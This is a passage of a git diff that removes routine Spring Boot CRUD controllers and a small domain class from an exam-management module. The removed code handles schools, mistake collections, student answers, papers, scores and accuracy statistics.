- * 新增题目收藏 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:add')") - @Log(title = "题目收藏", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamQuestionFavorite examQuestionFavorite) - { - return toAjax(examQuestionFavoriteService.insertExamQuestionFavorite(examQuestionFavorite)); - } - - /** - * 修改题目收藏 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:edit')") - @Log(title = "题目收藏", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamQuestionFavorite examQuestionFavorite) - { - return toAjax(examQuestionFavoriteService.updateExamQuestionFavorite(examQuestionFavorite)); - } - - /** - * 删除题目收藏 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:remove')") - @Log(title = "题目收藏", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examQuestionFavoriteService.deleteExamQuestionFavoriteByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamSchoolController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamSchoolController.java deleted file mode 100644 index 1ffcef3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamSchoolController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamSchool; -import com.luqj.exam.service.IExamSchoolService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 出题学校Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/school") -public class ExamSchoolController extends BaseController -{ - @Autowired - private IExamSchoolService examSchoolService; - - /** - * 查询出题学校列表 - */ - @PreAuthorize("@ss.hasPermi('exam:school:list')") - @GetMapping("/list") - public TableDataInfo list(ExamSchool examSchool) - { - startPage(); - List list = examSchoolService.selectExamSchoolList(examSchool); - return getDataTable(list); - } - - /** - * 导出出题学校列表 - */ - @PreAuthorize("@ss.hasPermi('exam:school:export')") - @Log(title = "出题学校", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamSchool examSchool) - { - List list = examSchoolService.selectExamSchoolList(examSchool); - ExcelUtil util = new ExcelUtil(ExamSchool.class); - return util.exportExcel(list, "school"); - } - - /** - * 获取出题学校详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:school:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examSchoolService.selectExamSchoolById(id)); - } - - /** - * 新增出题学校 - */ - @PreAuthorize("@ss.hasPermi('exam:school:add')") - @Log(title = "出题学校", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamSchool examSchool) - { - return toAjax(examSchoolService.insertExamSchool(examSchool)); - } - - /** - * 修改出题学校 - */ - @PreAuthorize("@ss.hasPermi('exam:school:edit')") - @Log(title = "出题学校", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamSchool examSchool) - { - return toAjax(examSchoolService.updateExamSchool(examSchool)); - } - - /** - * 删除出题学校 - */ - @PreAuthorize("@ss.hasPermi('exam:school:remove')") - @Log(title = "出题学校", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examSchoolService.deleteExamSchoolByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentMistakesController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentMistakesController.java deleted file mode 100644 index 4a0ed4b..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentMistakesController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamStudentMistakes; -import com.luqj.exam.service.IExamStudentMistakesService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 错题集Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/mistakes") -public class ExamStudentMistakesController extends BaseController -{ - @Autowired - private IExamStudentMistakesService examStudentMistakesService; - - /** - * 查询错题集列表 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:list')") - @GetMapping("/list") - public TableDataInfo list(ExamStudentMistakes examStudentMistakes) - { - startPage(); - List list = examStudentMistakesService.selectExamStudentMistakesList(examStudentMistakes); - return getDataTable(list); - } - - /** - * 导出错题集列表 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:export')") - @Log(title = "错题集", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamStudentMistakes examStudentMistakes) - { - List list = examStudentMistakesService.selectExamStudentMistakesList(examStudentMistakes); - ExcelUtil util = new ExcelUtil(ExamStudentMistakes.class); - return util.exportExcel(list, "mistakes"); - } - - /** - * 获取错题集详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examStudentMistakesService.selectExamStudentMistakesById(id)); - } - - /** - * 新增错题集 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:add')") - @Log(title = "错题集", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamStudentMistakes examStudentMistakes) - { - return toAjax(examStudentMistakesService.insertExamStudentMistakes(examStudentMistakes)); - } - - /** - * 修改错题集 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:edit')") - @Log(title = "错题集", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamStudentMistakes examStudentMistakes) - { - return toAjax(examStudentMistakesService.updateExamStudentMistakes(examStudentMistakes)); - } - - /** - * 删除错题集 - */ - @PreAuthorize("@ss.hasPermi('exam:mistakes:remove')") - @Log(title = "错题集", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examStudentMistakesService.deleteExamStudentMistakesByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperAnswerController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperAnswerController.java deleted file mode 100644 index d1c2984..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperAnswerController.java +++ /dev/null @@ -1,110 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.Date; -import java.util.List; - -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.luqj.exam.domain.ExamStudentPaperAnswerPlus; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamStudentPaperAnswer; -import com.luqj.exam.service.IExamStudentPaperAnswerService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 学生答题明细Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/answer") -public class ExamStudentPaperAnswerController extends BaseController -{ - @Autowired - private IExamStudentPaperAnswerService examStudentPaperAnswerService; - - /** - * 查询学生答题明细列表 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:list')") - @GetMapping("/list") - public TableDataInfo list(ExamStudentPaperAnswer examStudentPaperAnswer) - { - startPage(); - Page page = new Page(1, 2); - page = examStudentPaperAnswerService.page(page); - List list = examStudentPaperAnswerService.selectExamStudentPaperAnswerList(examStudentPaperAnswer); - examStudentPaperAnswerService.additionalInfo(list); - return getDataTable(list); - } - - /** - * 导出学生答题明细列表 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:export')") - @Log(title = "学生答题明细", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamStudentPaperAnswer examStudentPaperAnswer) - { - List list = examStudentPaperAnswerService.selectExamStudentPaperAnswerList(examStudentPaperAnswer); - ExcelUtil util = new ExcelUtil(ExamStudentPaperAnswer.class); - return util.exportExcel(list, "answer"); - } - - /** - * 获取学生答题明细详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examStudentPaperAnswerService.selectExamStudentPaperAnswerById(id)); - } - - /** - * 新增学生答题明细 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:add')") - @Log(title = "学生答题明细", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamStudentPaperAnswer examStudentPaperAnswer) - { - return toAjax(examStudentPaperAnswerService.insertExamStudentPaperAnswer(examStudentPaperAnswer)); - } - - /** - * 修改学生答题明细 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:edit')") - @Log(title = "学生答题明细", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamStudentPaperAnswer examStudentPaperAnswer) - { - return toAjax(examStudentPaperAnswerService.updateExamStudentPaperAnswer(examStudentPaperAnswer)); - } - - /** - * 删除学生答题明细 - */ - @PreAuthorize("@ss.hasPermi('exam:answer:remove')") - @Log(title = "学生答题明细", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examStudentPaperAnswerService.deleteExamStudentPaperAnswerByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperController.java deleted file mode 100644 index fdf75b8..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentPaperController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamStudentPaper; -import com.luqj.exam.service.IExamStudentPaperService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 学生考试试卷实例Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/spaper") -public class ExamStudentPaperController extends BaseController -{ - @Autowired - private IExamStudentPaperService examStudentPaperService; - - /** - * 查询学生考试试卷实例列表 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:list')") - @GetMapping("/list") - public TableDataInfo list(ExamStudentPaper examStudentPaper) - { - startPage(); - List list = examStudentPaperService.selectExamStudentPaperList(examStudentPaper); - examStudentPaperService.additionalInfo(list); - return getDataTable(list); - } - - /** - * 导出学生考试试卷实例列表 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:export')") - @Log(title = "学生考试试卷实例", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamStudentPaper examStudentPaper) - { - List list = examStudentPaperService.selectExamStudentPaperList(examStudentPaper); - ExcelUtil util = new ExcelUtil(ExamStudentPaper.class); - return util.exportExcel(list, "spaper"); - } - - /** - * 获取学生考试试卷实例详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examStudentPaperService.selectExamStudentPaperById(id)); - } - - /** - * 新增学生考试试卷实例 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:add')") - @Log(title = "学生考试试卷实例", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamStudentPaper examStudentPaper) - { - return toAjax(examStudentPaperService.insertExamStudentPaper(examStudentPaper)); - } - - /** - * 修改学生考试试卷实例 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:edit')") - @Log(title = "学生考试试卷实例", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamStudentPaper examStudentPaper) - { - return toAjax(examStudentPaperService.updateExamStudentPaper(examStudentPaper)); - } - - /** - * 删除学生考试试卷实例 - */ - @PreAuthorize("@ss.hasPermi('exam:spaper:remove')") - @Log(title = "学生考试试卷实例", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examStudentPaperService.deleteExamStudentPaperByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentScoreController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentScoreController.java deleted file mode 100644 index c2968f5..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamStudentScoreController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamStudentScore; -import com.luqj.exam.service.IExamStudentScoreService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 学生成绩Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/score") -public class ExamStudentScoreController extends BaseController -{ - @Autowired - private IExamStudentScoreService examStudentScoreService; - - /** - * 查询学生成绩列表 - */ - @PreAuthorize("@ss.hasPermi('exam:score:list')") - @GetMapping("/list") - public TableDataInfo list(ExamStudentScore examStudentScore) - { - startPage(); - List list = examStudentScoreService.selectExamStudentScoreList(examStudentScore); - return getDataTable(list); - } - - /** - * 导出学生成绩列表 - */ - @PreAuthorize("@ss.hasPermi('exam:score:export')") - @Log(title = "学生成绩", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamStudentScore examStudentScore) - { - List list = examStudentScoreService.selectExamStudentScoreList(examStudentScore); - ExcelUtil util = new ExcelUtil(ExamStudentScore.class); - return util.exportExcel(list, "score"); - } - - /** - * 获取学生成绩详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:score:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examStudentScoreService.selectExamStudentScoreById(id)); - } - - /** - * 新增学生成绩 - */ - @PreAuthorize("@ss.hasPermi('exam:score:add')") - @Log(title = "学生成绩", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamStudentScore examStudentScore) - { - return toAjax(examStudentScoreService.insertExamStudentScore(examStudentScore)); - } - - /** - * 修改学生成绩 - */ - @PreAuthorize("@ss.hasPermi('exam:score:edit')") - @Log(title = "学生成绩", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamStudentScore examStudentScore) - { - return toAjax(examStudentScoreService.updateExamStudentScore(examStudentScore)); - } - - /** - * 删除学生成绩 - */ - @PreAuthorize("@ss.hasPermi('exam:score:remove')") - @Log(title = "学生成绩", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examStudentScoreService.deleteExamStudentScoreByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamAccuracyController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamAccuracyController.java deleted file mode 100644 index b46ba00..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamAccuracyController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.StatsExamAccuracy; -import com.luqj.exam.service.IStatsExamAccuracyService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 学生答题正确率统计Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/eaccuracy") -public class StatsExamAccuracyController extends BaseController -{ - @Autowired - private IStatsExamAccuracyService statsExamAccuracyService; - - /** - * 查询学生答题正确率统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:list')") - @GetMapping("/list") - public TableDataInfo list(StatsExamAccuracy statsExamAccuracy) - { - startPage(); - List list = statsExamAccuracyService.selectStatsExamAccuracyList(statsExamAccuracy); - return getDataTable(list); - } - - /** - * 导出学生答题正确率统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:export')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(StatsExamAccuracy statsExamAccuracy) - { - List list = statsExamAccuracyService.selectStatsExamAccuracyList(statsExamAccuracy); - ExcelUtil util = new ExcelUtil(StatsExamAccuracy.class); - return util.exportExcel(list, "eaccuracy"); - } - - /** - * 获取学生答题正确率统计详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(statsExamAccuracyService.selectStatsExamAccuracyById(id)); - } - - /** - * 新增学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:add')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody StatsExamAccuracy statsExamAccuracy) - { - statsExamAccuracy.setStatus(1); - return toAjax(statsExamAccuracyService.insertStatsExamAccuracy(statsExamAccuracy)); - } - - /** - * 修改学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:edit')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody StatsExamAccuracy statsExamAccuracy) - { - return toAjax(statsExamAccuracyService.updateStatsExamAccuracy(statsExamAccuracy)); - } - - /** - * 删除学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:eaccuracy:remove')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(statsExamAccuracyService.deleteStatsExamAccuracyByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamQuestionAccuracyController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamQuestionAccuracyController.java deleted file mode 100644 index 1b2480e..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamQuestionAccuracyController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.StatsExamQuestionAccuracy; -import com.luqj.exam.service.IStatsExamQuestionAccuracyService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 按题目统计Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/qaccuracy") -public class StatsExamQuestionAccuracyController extends BaseController -{ - @Autowired - private IStatsExamQuestionAccuracyService statsExamQuestionAccuracyService; - - /** - * 查询按题目统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:list')") - @GetMapping("/list") - public TableDataInfo list(StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - startPage(); - List list = statsExamQuestionAccuracyService.selectStatsExamQuestionAccuracyList(statsExamQuestionAccuracy); - return getDataTable(list); - } - - /** - * 导出按题目统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:export')") - @Log(title = "按题目统计", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - List list = statsExamQuestionAccuracyService.selectStatsExamQuestionAccuracyList(statsExamQuestionAccuracy); - ExcelUtil util = new ExcelUtil(StatsExamQuestionAccuracy.class); - return util.exportExcel(list, "qaccuracy"); - } - - /** - * 获取按题目统计详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(statsExamQuestionAccuracyService.selectStatsExamQuestionAccuracyById(id)); - } - - /** - * 新增按题目统计 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:add')") - @Log(title = "按题目统计", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - statsExamQuestionAccuracy.setStatus(1); - return toAjax(statsExamQuestionAccuracyService.insertStatsExamQuestionAccuracy(statsExamQuestionAccuracy)); - } - - /** - * 修改按题目统计 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:edit')") - @Log(title = "按题目统计", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - return toAjax(statsExamQuestionAccuracyService.updateStatsExamQuestionAccuracy(statsExamQuestionAccuracy)); - } - - /** - * 删除按题目统计 - */ - @PreAuthorize("@ss.hasPermi('exam:qaccuracy:remove')") - @Log(title = "按题目统计", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(statsExamQuestionAccuracyService.deleteStatsExamQuestionAccuracyByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamWeekAccuracyController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamWeekAccuracyController.java deleted file mode 100644 index 373e40c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/StatsExamWeekAccuracyController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.StatsExamWeekAccuracy; -import com.luqj.exam.service.IStatsExamWeekAccuracyService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 学生答题正确率统计Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/waccuracy") -public class StatsExamWeekAccuracyController extends BaseController -{ - @Autowired - private IStatsExamWeekAccuracyService statsExamWeekAccuracyService; - - /** - * 查询学生答题正确率统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:list')") - @GetMapping("/list") - public TableDataInfo list(StatsExamWeekAccuracy statsExamWeekAccuracy) - { - startPage(); - List list = statsExamWeekAccuracyService.selectStatsExamWeekAccuracyList(statsExamWeekAccuracy); - return getDataTable(list); - } - - /** - * 导出学生答题正确率统计列表 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:export')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(StatsExamWeekAccuracy statsExamWeekAccuracy) - { - List list = statsExamWeekAccuracyService.selectStatsExamWeekAccuracyList(statsExamWeekAccuracy); - ExcelUtil util = new ExcelUtil(StatsExamWeekAccuracy.class); - return util.exportExcel(list, "waccuracy"); - } - - /** - * 获取学生答题正确率统计详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(statsExamWeekAccuracyService.selectStatsExamWeekAccuracyById(id)); - } - - /** - * 新增学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:add')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody StatsExamWeekAccuracy statsExamWeekAccuracy) - { - statsExamWeekAccuracy.setStatus(1); - return toAjax(statsExamWeekAccuracyService.insertStatsExamWeekAccuracy(statsExamWeekAccuracy)); - } - - /** - * 修改学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:edit')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody StatsExamWeekAccuracy statsExamWeekAccuracy) - { - return toAjax(statsExamWeekAccuracyService.updateStatsExamWeekAccuracy(statsExamWeekAccuracy)); - } - - /** - * 删除学生答题正确率统计 - */ - @PreAuthorize("@ss.hasPermi('exam:waccuracy:remove')") - @Log(title = "学生答题正确率统计", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(statsExamWeekAccuracyService.deleteStatsExamWeekAccuracyByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseQustion.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseQustion.java deleted file mode 100644 index 03aa16a..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseQustion.java +++ /dev/null @@ -1,12 +0,0 @@ -package com.luqj.exam.domain; - -import lombok.Data; - -import java.io.Serializable; -@Data -public class ChooiseQustion implements Serializable { - private Long id; - private String title; - private boolean disabled; - private boolean hasChooise; -} diff --git 